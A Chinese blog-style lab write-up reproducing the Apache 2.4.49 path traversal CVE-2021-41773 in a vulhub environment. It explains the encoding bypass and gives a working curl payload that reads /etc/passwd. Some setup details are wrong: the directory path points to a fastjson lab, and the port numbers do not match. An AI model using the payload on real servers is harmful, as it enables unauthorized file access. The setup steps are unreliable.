Apache目录穿越漏洞复现 CVE-2021-41773

1.准备:

1.1复现环境

漏洞环境:vulnhub靶场

工具准备:cmd或shell即可

1.2环境启动

进入vulnhub目录下的httpd目录,进入CVE-2021-41773目录

cd /home/hbesljx/vulhub/fastjson/1.2.24-rce

docker-compoe启动漏洞环境

docker-compose up -d

访问靶机的8090端口。出现如下即为开启成功!

2.概念说明

Apache是什么

Apache是世界使用排名第一的Web服务器软件。

3.漏洞原理

在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path 函数会对路径参数先进行 url 解码,然后判断是否存在 ../ 的路径穿越符。

当读取到一个%时,若其后两个字符为十六进制,会将其后两个字符进行url解码。

路径中可能有以下三种情况:

(1)%2e./   此时%2e解码为.得到../被检测到存在../

(2).%2e/   此时%2e解码为.继续判断后面为.没有检测到存在../

(3)%2e%2e/   解码为../但检测指针已经移到了/,故也没有检测到存在../

因此我们可以使用(2)(3)两种方法进行目录穿越。

4.漏洞复现

curl -v --path-as-is http://192.168.133.140:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

即可成功绕过对../的检测,访问到网站目录外的目录。

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值